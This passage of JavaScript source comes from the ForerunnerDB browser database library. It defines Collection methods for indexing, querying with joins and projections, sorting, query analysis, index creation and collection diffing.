this._primaryCrc.uniqueSet(doc[this._primaryKey], jString);
this._crcLookup.uniqueSet(jString, doc);
// Insert into other indexes
for (arrIndex in arr) {
if (arr.hasOwnProperty(arrIndex)) {
arr[arrIndex].insert(doc);
}
}
return violated;
};
/**
* Removes a document from the collection indexes.
* @param {Object} doc The document to remove.
* @private
*/
Collection.prototype._removeFromIndexes = function (doc) {
var arr = this._indexByName,
arrIndex,
jString = JSON.stringify(doc);
// Remove from primary key index
this._primaryIndex.unSet(doc[this._primaryKey]);
this._primaryCrc.unSet(doc[this._primaryKey]);
this._crcLookup.unSet(jString);
// Remove from other indexes
for (arrIndex in arr) {
if (arr.hasOwnProperty(arrIndex)) {
arr[arrIndex].remove(doc);
}
}
};
/**
* Updates collection index data for the passed document.
* @param {Object} oldDoc The old document as it was before the update.
* @param {Object} newDoc The document as it now is after the update.
* @private
*/
Collection.prototype._updateIndexes = function (oldDoc, newDoc) {
this._removeFromIndexes(oldDoc);
this._insertIntoIndexes(newDoc);
};
/**
* Rebuild collection indexes.
* @private
*/
Collection.prototype._rebuildIndexes = function () {
var arr = this._indexByName,
arrIndex;
// Remove from other indexes
for (arrIndex in arr) {
if (arr.hasOwnProperty(arrIndex)) {
arr[arrIndex].rebuild();
}
}
};
/**
* Uses the passed query to generate a new collection with results
* matching the query parameters.
*
* @param {Object} query The query object to generate the subset with.
* @param {Object=} options An options object.
* @returns {*}
*/
Collection.prototype.subset = function (query, options) {
var result = this.find(query, options);
return new Collection()
.subsetOf(this)
.primaryKey(this._primaryKey)
.setData(result);
};
/**
* Gets / sets the collection that this collection is a subset of.
* @param {Collection=} collection The collection to set as the parent of this subset.
* @returns {Collection}
*/
Shared.synthesize(Collection.prototype, 'subsetOf');
/**
* Checks if the collection is a subset of the passed collection.
* @param {Collection} collection The collection to test against.
* @returns {Boolean} True if the passed collection is the parent of
* the current collection.
*/
Collection.prototype.isSubsetOf = function (collection) {
return true;
};
/**
* Find the distinct values for a specified field across a single collection and
* returns the results in an array.
* @param {String} key The field path to return distinct values for e.g. "person.name".
* @param {Object=} query The query to use to filter the documents used to return values from.
* @param {Object=} options The query options to use when running the query.
* @returns {Array}
*/
Collection.prototype.distinct = function (key, query, options) {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
var data = this.find(query, options),
pathSolver = new Path(key),
valueUsed = {},
distinctValues = [],
value,
i;
// Loop the data and build array of distinct values
for (i = 0; i < data.length; i++) {
value = pathSolver.value(data[i])[0];
if (value && !valueUsed[value]) {
valueUsed[value] = true;
distinctValues.push(value);
}
}
return distinctValues;
};
/**
* Helper method to find a document by it's id.
* @param {String} id The id of the document.
* @param {Object=} options The options object, allowed keys are sort and limit.
* @returns {Array} The items that were updated.
*/
Collection.prototype.findById = function (id, options) {
var searchObj = {};
searchObj[this._primaryKey] = id;
return this.find(searchObj, options)[0];
};
/**
* Finds all documents that contain the passed string or search object
* regardless of where the string might occur within the document. This
* will match strings from the start, middle or end of the document's
* string (partial match).
* @param search The string to search for. Case sensitive.
* @param options A standard find() options object.
* @returns {Array} An array of documents that matched the search string.
*/
Collection.prototype.peek = function (search, options) {
// Loop all items
var arr = this._data,
arrCount = arr.length,
arrIndex,
arrItem,
tempColl = new Collection(),
typeOfSearch = typeof search;
if (typeOfSearch === 'string') {
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
// Get json representation of object
arrItem = JSON.stringify(arr[arrIndex]);
// Check if string exists in object json
if (arrItem.indexOf(search) > -1) {
// Add this item to the temp collection
tempColl.insert(arr[arrIndex]);
}
}
return tempColl.find({}, options);
} else {
return this.find(search, options);
}
};
/**
* Provides a query plan / operations log for a query.
* @param {Object} query The query to execute.
* @param {Object=} options Optional options object.
* @returns {Object} The query plan.
*/
Collection.prototype.explain = function (query, options) {
var result = this.find(query, options);
return result.__fdbOp._data;
};
/**
* Generates an options object with default values or adds default
* values to a passed object if those values are not currently set
* to anything.
* @param {object=} obj Optional options object to modify.
* @returns {object} The options object.
*/
Collection.prototype.options = function (obj) {
obj = obj || {};
obj.$decouple = obj.$decouple !== undefined ? obj.$decouple : true;
obj.$explain = obj.$explain !== undefined ? obj.$explain : false;
return obj;
};
/**
* Queries the collection based on the query object passed.
* @param {Object} query The query key/values that a document must match in
* order for it to be returned in the result array.
* @param {Object=} options An optional options object.
* @param {Function=} callback !! DO NOT USE, THIS IS NON-OPERATIONAL !!
* Optional callback. If specified the find process
* will not return a value and will assume that you wish to operate under an
* async mode. This will break up large find requests into smaller chunks and
* process them in a non-blocking fashion allowing large datasets to be queried
* without causing the browser UI to pause. Results from this type of operation
* will be passed back to the callback once completed.
*
* @returns {Array} The results array from the find operation, containing all
* documents that matched the query.
*/
Collection.prototype.find = function (query, options, callback) {
if (callback) {
// Check the size of the collection's data array
// Split operation into smaller tasks and callback when complete
callback('Callbacks for the find() operation are not yet implemented!', []);
return [];
}
return this._find.apply(this, arguments);
};
Collection.prototype._find = function (query, options) {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
// TODO: This method is quite long, break into smaller pieces
query = query || {};
options = this.options(options);
var op = this._metrics.create('find'),
pk = this.primaryKey(),
self = this,
analysis,
scanLength,
requiresTableScan = true,
resultArr,
joinCollectionIndex,
joinIndex,
joinCollection = {},
joinQuery,
joinPath,
joinCollectionName,
joinCollectionInstance,
joinMatch,
joinMatchIndex,
joinSearch,
joinMulti,
joinRequire,
joinFindResults,
resultCollectionName,
resultIndex,
resultRemove = [],
index,
i, j, k,
fieldListOn = [],
fieldListOff = [],
elemMatchPathSolver,
elemMatchSubArr,
elemMatchSpliceArr,
matcherTmpOptions = {},
result,
cursor = {},
matcher = function (doc) {
return self._match(doc, query, 'and', matcherTmpOptions);
};
op.start();
if (query) {
// Get query analysis to execute best optimised code path
op.time('analyseQuery');
analysis = this._analyseQuery(self.decouple(query), options, op);
op.time('analyseQuery');
op.data('analysis', analysis);
if (analysis.hasJoin && analysis.queriesJoin) {
// The query has a join and tries to limit by it's joined data
// Get an instance reference to the join collections
op.time('joinReferences');
for (joinIndex = 0; joinIndex < analysis.joinsOn.length; joinIndex++) {
joinCollectionName = analysis.joinsOn[joinIndex];
joinPath = new Path(analysis.joinQueries[joinCollectionName]);
joinQuery = joinPath.value(query)[0];
joinCollection[analysis.joinsOn[joinIndex]] = this._db.collection(analysis.joinsOn[joinIndex]).subset(joinQuery);
// Remove join clause from main query
delete query[analysis.joinQueries[joinCollectionName]];
}
op.time('joinReferences');
}
// Check if an index lookup can be used to return this result
if (analysis.indexMatch.length && (!options || (options && !options.$skipIndex))) {
op.data('index.potential', analysis.indexMatch);
op.data('index.used', analysis.indexMatch[0].index);
// Get the data from the index
op.time('indexLookup');
resultArr = analysis.indexMatch[0].lookup || [];
op.time('indexLookup');
// Check if the index coverage is all keys, if not we still need to table scan it
if (analysis.indexMatch[0].keyData.totalKeyCount === analysis.indexMatch[0].keyData.score) {
// Require a table scan to find relevant documents
requiresTableScan = false;
}
} else {
op.flag('usedIndex', false);
}
if (requiresTableScan) {
if (resultArr && resultArr.length) {
scanLength = resultArr.length;
op.time('tableScan: ' + scanLength);
// Filter the source data and return the result
resultArr = resultArr.filter(matcher);
} else {
// Filter the source data and return the result
scanLength = this._data.length;
op.time('tableScan: ' + scanLength);
resultArr = this._data.filter(matcher);
}
// Order the array if we were passed a sort clause
if (options.$orderBy) {
op.time('sort');
resultArr = this.sort(options.$orderBy, resultArr);
op.time('sort');
}
op.time('tableScan: ' + scanLength);
}
if (options.$page !== undefined && options.$limit !== undefined) {
// Record paging data
cursor.page = options.$page;
cursor.pages = Math.ceil(resultArr.length / options.$limit);
cursor.records = resultArr.length;
// Check if we actually need to apply the paging logic
if (options.$page && options.$limit > 0) {
op.data('cursor', cursor);
// Skip to the page specified based on limit
resultArr.splice(0, options.$page * options.$limit);
}
}
if (options.$skip) {
cursor.skip = options.$skip;
// Skip past the number of records specified
resultArr.splice(0, options.$skip);
op.data('skip', options.$skip);
}
if (options.$limit && resultArr && resultArr.length > options.$limit) {
cursor.limit = options.$limit;
resultArr.length = options.$limit;
op.data('limit', options.$limit);
}
if (options.$decouple) {
// Now decouple the data from the original objects
op.time('decouple');
resultArr = this.decouple(resultArr);
op.time('decouple');
op.data('flag.decouple', true);
}
// Now process any joins on the final data
if (options.$join) {
for (joinCollectionIndex = 0; joinCollectionIndex < options.$join.length; joinCollectionIndex++) {
for (joinCollectionName in options.$join[joinCollectionIndex]) {
if (options.$join[joinCollectionIndex].hasOwnProperty(joinCollectionName)) {
// Set the key to store the join result in to the collection name by default
resultCollectionName = joinCollectionName;
// Get the join collection instance from the DB
if (joinCollection[joinCollectionName]) {
joinCollectionInstance = joinCollection[joinCollectionName];
} else {
joinCollectionInstance = this._db.collection(joinCollectionName);
}
// Get the match data for the join
joinMatch = options.$join[joinCollectionIndex][joinCollectionName];
// Loop our result data array
for (resultIndex = 0; resultIndex < resultArr.length; resultIndex++) {
// Loop the join conditions and build a search object from them
joinSearch = {};
joinMulti = false;
joinRequire = false;
for (joinMatchIndex in joinMatch) {
if (joinMatch.hasOwnProperty(joinMatchIndex)) {
// Check the join condition name for a special command operator
if (joinMatchIndex.substr(0, 1) === '$') {
// Special command
switch (joinMatchIndex) {
case '$as':
// Rename the collection when stored in the result document
resultCollectionName = joinMatch[joinMatchIndex];
break;
case '$multi':
// Return an array of documents instead of a single matching document
joinMulti = joinMatch[joinMatchIndex];
break;
case '$require':
// Remove the result item if no matching join data is found
joinRequire = joinMatch[joinMatchIndex];
break;
/*default:
// Check for a double-dollar which is a back-reference to the root collection item
if (joinMatchIndex.substr(0, 3) === '$$.') {
// Back reference
// TODO: Support complex joins
}
break;*/
}
} else {
// TODO: Could optimise this by caching path objects
// Get the data to match against and store in the search object
joinSearch[joinMatchIndex] = new Path(joinMatch[joinMatchIndex]).value(resultArr[resultIndex])[0];
}
}
}
// Do a find on the target collection against the match data
joinFindResults = joinCollectionInstance.find(joinSearch);
// Check if we require a joined row to allow the result item
if (!joinRequire || (joinRequire && joinFindResults[0])) {
// Join is not required or condition is met
resultArr[resultIndex][resultCollectionName] = joinMulti === false ? joinFindResults[0] : joinFindResults;
} else {
// Join required but condition not met, add item to removal queue
resultRemove.push(resultArr[resultIndex]);
}
}
}
}
}
op.data('flag.join', true);
}
// Process removal queue
if (resultRemove.length) {
op.time('removalQueue');
for (i = 0; i < resultRemove.length; i++) {
index = resultArr.indexOf(resultRemove[i]);
if (index > -1) {
resultArr.splice(index, 1);
}
}
op.time('removalQueue');
}
if (options.$transform) {
op.time('transform');
for (i = 0; i < resultArr.length; i++) {
resultArr.splice(i, 1, options.$transform(resultArr[i]));
}
op.time('transform');
op.data('flag.transform', true);
}
// Process transforms
if (this._transformEnabled && this._transformOut) {
op.time('transformOut');
resultArr = this.transformOut(resultArr);
op.time('transformOut');
}
op.data('results', resultArr.length);
} else {
resultArr = [];
}
// Generate a list of fields to limit data by
// Each property starts off being enabled by default (= 1) then
// if any property is explicitly specified as 1 then all switch to
// zero except _id.
//
// Any that are explicitly set to zero are switched off.
op.time('scanFields');
for (i in options) {
if (options.hasOwnProperty(i) && i.indexOf('$') !== 0) {
if (options[i] === 1) {
fieldListOn.push(i);
} else if (options[i] === 0) {
fieldListOff.push(i);
}
}
}
op.time('scanFields');
// Limit returned fields by the options data
if (fieldListOn.length || fieldListOff.length) {
op.data('flag.limitFields', true);
op.data('limitFields.on', fieldListOn);
op.data('limitFields.off', fieldListOff);
op.time('limitFields');
// We have explicit fields switched on or off
for (i = 0; i < resultArr.length; i++) {
result = resultArr[i];
for (j in result) {
if (result.hasOwnProperty(j)) {
if (fieldListOn.length) {
// We have explicit fields switched on so remove all fields
// that are not explicitly switched on
// Check if the field name is not the primary key
if (j !== pk) {
if (fieldListOn.indexOf(j) === -1) {
// This field is not in the on list, remove it
delete result[j];
}
}
}
if (fieldListOff.length) {
// We have explicit fields switched off so remove fields
// that are explicitly switched off
if (fieldListOff.indexOf(j) > -1) {
// This field is in the off list, remove it
delete result[j];
}
}
}
}
}
op.time('limitFields');
}
// Now run any projections on the data required
if (options.$elemMatch) {
op.data('flag.elemMatch', true);
op.time('projection-elemMatch');
for (i in options.$elemMatch) {
if (options.$elemMatch.hasOwnProperty(i)) {
elemMatchPathSolver = new Path(i);
// Loop the results array
for (j = 0; j < resultArr.length; j++) {
elemMatchSubArr = elemMatchPathSolver.value(resultArr[j])[0];
// Check we have a sub-array to loop
if (elemMatchSubArr && elemMatchSubArr.length) {
// Loop the sub-array and check for projection query matches
for (k = 0; k < elemMatchSubArr.length; k++) {
// Check if the current item in the sub-array matches the projection query
if (self._match(elemMatchSubArr[k], options.$elemMatch[i], '', {})) {
// The item matches the projection query so set the sub-array
// to an array that ONLY contains the matching item and then
// exit the loop since we only want to match the first item
elemMatchPathSolver.set(resultArr[j], i, [elemMatchSubArr[k]]);
break;
}
}
}
}
}
}
op.time('projection-elemMatch');
}
if (options.$elemsMatch) {
op.data('flag.elemsMatch', true);
op.time('projection-elemsMatch');
for (i in options.$elemsMatch) {
if (options.$elemsMatch.hasOwnProperty(i)) {
elemMatchPathSolver = new Path(i);
// Loop the results array
for (j = 0; j < resultArr.length; j++) {
elemMatchSubArr = elemMatchPathSolver.value(resultArr[j])[0];
// Check we have a sub-array to loop
if (elemMatchSubArr && elemMatchSubArr.length) {
elemMatchSpliceArr = [];
// Loop the sub-array and check for projection query matches
for (k = 0; k < elemMatchSubArr.length; k++) {
// Check if the current item in the sub-array matches the projection query
if (self._match(elemMatchSubArr[k], options.$elemsMatch[i], '', {})) {
// The item matches the projection query so add it to the final array
elemMatchSpliceArr.push(elemMatchSubArr[k]);
}
}
// Now set the final sub-array to the matched items
elemMatchPathSolver.set(resultArr[j], i, elemMatchSpliceArr);
}
}
}
}
op.time('projection-elemsMatch');
}
op.stop();
resultArr.__fdbOp = op;
resultArr.$cursor = cursor;
return resultArr;
};
/**
* Returns one document that satisfies the specified query criteria. If multiple
* documents satisfy the query, this method returns the first document to match
* the query.
* @returns {*}
*/
Collection.prototype.findOne = function () {
return (this.find.apply(this, arguments))[0];
};
/**
* Gets the index in the collection data array of the first item matched by
* the passed query object.
* @param {Object} query The query to run to find the item to return the index of.
* @returns {Number}
*/
Collection.prototype.indexOf = function (query) {
var item = this.find(query, {$decouple: false})[0];
if (item) {
return this._data.indexOf(item);
} else {
return -1;
}
};
/**
* Returns the index of the document identified by the passed item's primary key.
* @param {*} item The document whose primary key should be used to lookup or the id
* to lookup.
* @returns {Number} The index the item with the matching primary key is occupying.
*/
Collection.prototype.indexOfDocById = function (item) {
if (typeof item !== 'object') {
return this._data.indexOf(
this._primaryIndex.get(item)
);
} else {
return this._data.indexOf(
this._primaryIndex.get(
item[this._primaryKey]
)
);
}
};
/**
* Removes a document from the collection by it's index in the collection's
* data array.
* @param {Number} index The index of the document to remove.
* @returns {Object} The document that has been removed or false if none was
* removed.
*/
Collection.prototype.removeByIndex = function (index) {
var doc,
docId;
doc = this._data[index];
if (doc !== undefined) {
doc = this.decouple(doc);
docId = doc[this.primaryKey()];
return this.removeById(docId);
}
return false;
};
/**
* Gets / sets the collection transform options.
* @param {Object} obj A collection transform options object.
* @returns {*}
*/
Collection.prototype.transform = function (obj) {
if (obj !== undefined) {
if (typeof obj === "object") {
if (obj.enabled !== undefined) {
this._transformEnabled = obj.enabled;
}
if (obj.dataIn !== undefined) {
this._transformIn = obj.dataIn;
}
if (obj.dataOut !== undefined) {
this._transformOut = obj.dataOut;
}
} else {
this._transformEnabled = obj !== false;
}
return this;
}
return {
enabled: this._transformEnabled,
dataIn: this._transformIn,
dataOut: this._transformOut
};
};
/**
* Transforms data using the set transformIn method.
* @param {Object} data The data to transform.
* @returns {*}
*/
Collection.prototype.transformIn = function (data) {
if (this._transformEnabled && this._transformIn) {
if (data instanceof Array) {
var finalArr = [], i;
for (i = 0; i < data.length; i++) {
finalArr[i] = this._transformIn(data[i]);
}
return finalArr;
} else {
return this._transformIn(data);
}
}
return data;
};
/**
* Transforms data using the set transformOut method.
* @param {Object} data The data to transform.
* @returns {*}
*/
Collection.prototype.transformOut = function (data) {
if (this._transformEnabled && this._transformOut) {
if (data instanceof Array) {
var finalArr = [], i;
for (i = 0; i < data.length; i++) {
finalArr[i] = this._transformOut(data[i]);
}
return finalArr;
} else {
return this._transformOut(data);
}
}
return data;
};
/**
* Sorts an array of documents by the given sort path.
* @param {*} sortObj The keys and orders the array objects should be sorted by.
* @param {Array} arr The array of documents to sort.
* @returns {Array}
*/
Collection.prototype.sort = function (sortObj, arr) {
// Make sure we have an array object
arr = arr || [];
var sortArr = [],
sortKey,
sortSingleObj;
for (sortKey in sortObj) {
if (sortObj.hasOwnProperty(sortKey)) {
sortSingleObj = {};
sortSingleObj[sortKey] = sortObj[sortKey];
sortSingleObj.___fdbKey = sortKey;
sortArr.push(sortSingleObj);
}
}
if (sortArr.length < 2) {
// There is only one sort criteria, do a simple sort and return it
return this._sort(sortObj, arr);
} else {
return this._bucketSort(sortArr, arr);
}
};
/**
* Takes array of sort paths and sorts them into buckets before returning final
* array fully sorted by multi-keys.
* @param keyArr
* @param arr
* @returns {*}
* @private
*/
Collection.prototype._bucketSort = function (keyArr, arr) {
var keyObj = keyArr.shift(),
arrCopy,
buckets,
i,
finalArr = [];
if (keyArr.length > 0) {
// Sort array by bucket key
arr = this._sort(keyObj, arr);
// Split items into buckets
buckets = this.bucket(keyObj.___fdbKey, arr);
// Loop buckets and sort contents
for (i in buckets) {
if (buckets.hasOwnProperty(i)) {
arrCopy = [].concat(keyArr);
finalArr = finalArr.concat(this._bucketSort(arrCopy, buckets[i]));
}
}
return finalArr;
} else {
return this._sort(keyObj, arr);
}
};
/**
* Sorts array by individual sort path.
* @param key
* @param arr
* @returns {Array|*}
* @private
*/
Collection.prototype._sort = function (key, arr) {
var self = this,
sorterMethod,
pathSolver = new Path(),
dataPath = pathSolver.parse(key, true)[0];
pathSolver.path(dataPath.path);
if (dataPath.value === 1) {
// Sort ascending
sorterMethod = function (a, b) {
var valA = pathSolver.value(a)[0],
valB = pathSolver.value(b)[0];
return self.sortAsc(valA, valB);
};
} else if (dataPath.value === -1) {
// Sort descending
sorterMethod = function (a, b) {
var valA = pathSolver.value(a)[0],
valB = pathSolver.value(b)[0];
return self.sortDesc(valA, valB);
};
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": $orderBy clause has invalid direction: ' + dataPath.value + ', accepted values are 1 or -1 for ascending or descending!');
}
return arr.sort(sorterMethod);
};
/**
* Takes an array of objects and returns a new object with the array items
* split into buckets by the passed key.
* @param {String} key The key to split the array into buckets by.
* @param {Array} arr An array of objects.
* @returns {Object}
*/
Collection.prototype.bucket = function (key, arr) {
var i,
buckets = {};
for (i = 0; i < arr.length; i++) {
buckets[arr[i][key]] = buckets[arr[i][key]] || [];
buckets[arr[i][key]].push(arr[i]);
}
return buckets;
};
/**
* Internal method that takes a search query and options and returns an object
* containing details about the query which can be used to optimise the search.
*
* @param query
* @param options
* @param op
* @returns {Object}
* @private
*/
Collection.prototype._analyseQuery = function (query, options, op) {
var analysis = {
queriesOn: [this._name],
indexMatch: [],
hasJoin: false,
queriesJoin: false,
joinQueries: {},
query: query,
options: options
},
joinCollectionIndex,
joinCollectionName,
joinCollections = [],
joinCollectionReferences = [],
queryPath,
index,
indexMatchData,
indexRef,
indexRefName,
indexLookup,
pathSolver,
queryKeyCount,
i;
// Check if the query is a primary key lookup
op.time('checkIndexes');
pathSolver = new Path();
queryKeyCount = pathSolver.countKeys(query);
if (queryKeyCount) {
if (query[this._primaryKey] !== undefined) {
// Return item via primary key possible
op.time('checkIndexMatch: Primary Key');
analysis.indexMatch.push({
lookup: this._primaryIndex.lookup(query, options),
keyData: {
matchedKeys: [this._primaryKey],
totalKeyCount: queryKeyCount,
score: 1
},
index: this._primaryIndex
});
op.time('checkIndexMatch: Primary Key');
}
// Check if an index can speed up the query
for (i in this._indexById) {
if (this._indexById.hasOwnProperty(i)) {
indexRef = this._indexById[i];
indexRefName = indexRef.name();
op.time('checkIndexMatch: ' + indexRefName);
indexMatchData = indexRef.match(query, options);
if (indexMatchData.score > 0) {
// This index can be used, store it
indexLookup = indexRef.lookup(query, options);
analysis.indexMatch.push({
lookup: indexLookup,
keyData: indexMatchData,
index: indexRef
});
}
op.time('checkIndexMatch: ' + indexRefName);
if (indexMatchData.score === queryKeyCount) {
// Found an optimal index, do not check for any more
break;
}
}
}
op.time('checkIndexes');
// Sort array descending on index key count (effectively a measure of relevance to the query)
if (analysis.indexMatch.length > 1) {
op.time('findOptimalIndex');
analysis.indexMatch.sort(function (a, b) {
if (a.keyData.score > b.keyData.score) {
// This index has a higher score than the other
return -1;
}
if (a.keyData.score < b.keyData.score) {
// This index has a lower score than the other
return 1;
}
// The indexes have the same score but can still be compared by the number of records
// they return from the query. The fewer records they return the better so order by
// record count
if (a.keyData.score === b.keyData.score) {
return a.lookup.length - b.lookup.length;
}
});
op.time('findOptimalIndex');
}
}
// Check for join data
if (options.$join) {
analysis.hasJoin = true;
// Loop all join operations
for (joinCollectionIndex = 0; joinCollectionIndex < options.$join.length; joinCollectionIndex++) {
// Loop the join collections and keep a reference to them
for (joinCollectionName in options.$join[joinCollectionIndex]) {
if (options.$join[joinCollectionIndex].hasOwnProperty(joinCollectionName)) {
joinCollections.push(joinCollectionName);
// Check if the join uses an $as operator
if ('$as' in options.$join[joinCollectionIndex][joinCollectionName]) {
joinCollectionReferences.push(options.$join[joinCollectionIndex][joinCollectionName].$as);
} else {
joinCollectionReferences.push(joinCollectionName);
}
}
}
}
// Loop the join collection references and determine if the query references
// any of the collections that are used in the join. If there no queries against
// joined collections the find method can use a code path optimised for this.
// Queries against joined collections requires the joined collections to be filtered
// first and then joined so requires a little more work.
for (index = 0; index < joinCollectionReferences.length; index++) {
// Check if the query references any collection data that the join will create
queryPath = this._queryReferencesCollection(query, joinCollectionReferences[index], '');
if (queryPath) {
analysis.joinQueries[joinCollections[index]] = queryPath;
analysis.queriesJoin = true;
}
}
analysis.joinsOn = joinCollections;
analysis.queriesOn = analysis.queriesOn.concat(joinCollections);
}
return analysis;
};
/**
* Checks if the passed query references this collection.
* @param query
* @param collection
* @param path
* @returns {*}
* @private
*/
Collection.prototype._queryReferencesCollection = function (query, collection, path) {
var i;
for (i in query) {
if (query.hasOwnProperty(i)) {
// Check if this key is a reference match
if (i === collection) {
if (path) { path += '.'; }
return path + i;
} else {
if (typeof(query[i]) === 'object') {
// Recurse
if (path) { path += '.'; }
path += i;
return this._queryReferencesCollection(query[i], collection, path);
}
}
}
}
return false;
};
/**
* Returns the number of documents currently in the collection.
* @returns {Number}
*/
Collection.prototype.count = function (query, options) {
if (!query) {
return this._data.length;
} else {
// Run query and return count
return this.find(query, options).length;
}
};
/**
* Finds sub-documents from the collection's documents.
* @param {Object} match The query object to use when matching parent documents
* from which the sub-documents are queried.
* @param {String} path The path string used to identify the key in which
* sub-documents are stored in parent documents.
* @param {Object=} subDocQuery The query to use when matching which sub-documents
* to return.
* @param {Object=} subDocOptions The options object to use when querying for
* sub-documents.
* @returns {*}
*/
Collection.prototype.findSub = function (match, path, subDocQuery, subDocOptions) {
var pathHandler = new Path(path),
docArr = this.find(match),
docCount = docArr.length,
docIndex,
subDocArr,
subDocCollection = this._db.collection('__FDB_temp_' + this.objectId()),
subDocResults,
resultObj = {
parents: docCount,
subDocTotal: 0,
subDocs: [],
pathFound: false,
err: ''
};
subDocOptions = subDocOptions || {};
for (docIndex = 0; docIndex < docCount; docIndex++) {
subDocArr = pathHandler.value(docArr[docIndex])[0];
if (subDocArr) {
subDocCollection.setData(subDocArr);
subDocResults = subDocCollection.find(subDocQuery, subDocOptions);
if (subDocOptions.returnFirst && subDocResults.length) {
return subDocResults[0];
}
if (subDocOptions.$split) {
resultObj.subDocs.push(subDocResults);
} else {
resultObj.subDocs = resultObj.subDocs.concat(subDocResults);
}
resultObj.subDocTotal += subDocResults.length;
resultObj.pathFound = true;
}
}
// Drop the sub-document collection
subDocCollection.drop();
// Check if the call should not return stats, if so return only subDocs array
if (subDocOptions.$stats) {
return resultObj;
} else {
return resultObj.subDocs;
}
if (!resultObj.pathFound) {
resultObj.err = 'No objects found in the parent documents with a matching path of: ' + path;
}
return resultObj;
};
/**
* Checks that the passed document will not violate any index rules if
* inserted into the collection.
* @param {Object} doc The document to check indexes against.
* @returns {Boolean} Either false (no violation occurred) or true if
* a violation was detected.
*/
Collection.prototype.insertIndexViolation = function (doc) {
var indexViolated,
arr = this._indexByName,
arrIndex,
arrItem;
// Check the item's primary key is not already in use
if (this._primaryIndex.get(doc[this._primaryKey])) {
indexViolated = this._primaryIndex;
} else {
// Check violations of other indexes
for (arrIndex in arr) {
if (arr.hasOwnProperty(arrIndex)) {
arrItem = arr[arrIndex];
if (arrItem.unique()) {
if (arrItem.violation(doc)) {
indexViolated = arrItem;
break;
}
}
}
}
}
return indexViolated ? indexViolated.name() : false;
};
/**
* Creates an index on the specified keys.
* @param {Object} keys The object containing keys to index.
* @param {Object} options An options object.
* @returns {*}
*/
Collection.prototype.ensureIndex = function (keys, options) {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
this._indexByName = this._indexByName || {};
this._indexById = this._indexById || {};
var index,
time = {
start: new Date().getTime()
};
if (options) {
switch (options.type) {
case 'hashed':
index = new IndexHashMap(keys, options, this);
break;
case 'btree':
index = new IndexBinaryTree(keys, options, this);
break;
default:
// Default
index = new IndexHashMap(keys, options, this);
break;
}
} else {
// Default
index = new IndexHashMap(keys, options, this);
}
// Check the index does not already exist
if (this._indexByName[index.name()]) {
// Index already exists
return {
err: 'Index with that name already exists'
};
}
if (this._indexById[index.id()]) {
// Index already exists
return {
err: 'Index with those keys already exists'
};
}
// Create the index
index.rebuild();
// Add the index
this._indexByName[index.name()] = index;
this._indexById[index.id()] = index;
time.end = new Date().getTime();
time.total = time.end - time.start;
this._lastOp = {
type: 'ensureIndex',
stats: {
time: time
}
};
return {
index: index,
id: index.id(),
name: index.name(),
state: index.state()
};
};
/**
* Gets an index by it's name.
* @param {String} name The name of the index to retreive.
* @returns {*}
*/
Collection.prototype.index = function (name) {
if (this._indexByName) {
return this._indexByName[name];
}
};
/**
* Gets the last reporting operation's details such as run time.
* @returns {Object}
*/
Collection.prototype.lastOp = function () {
return this._metrics.list();
};
/**
* Generates a difference object that contains insert, update and remove arrays
* representing the operations to execute to make this collection have the same
* data as the one passed.
* @param {Collection} collection The collection to diff against.
* @returns {{}}
*/
Collection.prototype.diff = function (collection) {
var diff = {
insert: [],
update: [],
remove: []
};
var pm = this.primaryKey(),
arr,
arrIndex,
arrItem,
arrCount;
// Check if the primary key index of each collection can be utilised
if (pm !== collection.primaryKey()) {
throw('ForerunnerDB.Collection "' + this.name() + '": Collection diffing requires that both collections have the same primary key!');
}
// Use the collection primary key index to do the diff (super-fast)
arr = collection._data;
// Check if we have an array or another collection
while (arr && !(arr instanceof Array)) {
// We don't have an array, assign collection and get data
collection = arr;
arr = collection._data;
}
arrCount = arr.length;
// Loop the collection's data array and check for matching items
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
arrItem = arr[arrIndex];
// Check for a matching item in this collection
if (this._primaryIndex.get(arrItem[pm])) {
// Matching item exists, check if the data is the same
if (this._primaryCrc.get(arrItem[pm]) !== collection._primaryCrc.get(arrItem[pm])) {
// The documents exist in both collections but data differs, update required
diff.update.push(arrItem);
}
} else {
// The document is missing from this collection, insert required
diff.insert.push(arrItem);
}
}
// Now loop this collection's data and check for matching items
arr = this._data;
arrCount = arr.length;
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
arrItem = arr[arrIndex];
if (!collection._primaryIndex.get(arrItem[pm])) {
// The document does not exist in the other collection, remove required
diff.remove.push(arrItem);
}
}
return diff;
};
Collection.prototype.collateAdd = new Overload({
/**
* Adds a data source to collate data from and specifies the
* key name to collate data to.
* @func collateAdd
* @memberof Collection
* @param {Collection} collection The collection to collate data from.
* @param {String=} keyName Optional name of the key to collate data to.
* If none is provided the record CRUD is operated on the root collection
* data.
*/
'object, string': function (collection, keyName) {
var self = this;
self.collateAdd(collection, function (packet) {
var obj1,
obj2;
switch (packet.type) {
case 'insert':
if (keyName) {
obj1 = {
$push: {}
};
obj1.$push[keyName] = self.decouple(packet.data);
self.update({}, obj1);
} else {
self.insert(packet.data);
}
break;
case 'update':
if (keyName) {
obj1 = {};
obj2 = {};
obj1[keyName] = packet.data.query;
obj2[keyName + '.$'] = packet.data.update;
self.update(obj1, obj2);
} else {
self.update(packet.data.query, packet.data.update);
}
break;
case 'remove':
if (keyName) {
obj1 = {
$pull: {}
};
obj1.$pull[keyName] = {};
obj1.$pull[keyName][self.primaryKey()] = packet.data.dataSet[0][collection.primaryKey()];
self.update({}, obj1);
} else {
self.remove(packet.data);
}
break;
default:
}
});
},
/**
* Adds a data source to collate data from and specifies a process
* method that will handle the collation functionality (for custom
* collation).
* @func collateAdd
* @memberof Collection
* @param {Collection} collection The collection to collate data from.
* @param {Function} process The process method.
*/
'object, function': function (collection, process) {
if (typeof collection === 'string') {
// The collection passed is a name, not a reference so get
// the reference from the name
collection = this._db.collection(collection, {
autoCreate: false,
throwError: false
});
}
if (collection) {
this._collate = this._collate || {};
this._collate[collection.name()] = new ReactorIO(collection, this, process);
return this;
} else {
throw('Cannot collate from a non-existent collection!');
}
}
});
Collection.prototype.collateRemove = function (collection) {
if (typeof collection === 'object') {
// We need to have the name of the collection to remove it
collection = collection.name();
}
if (collection) {
// Drop the reactor IO chain node
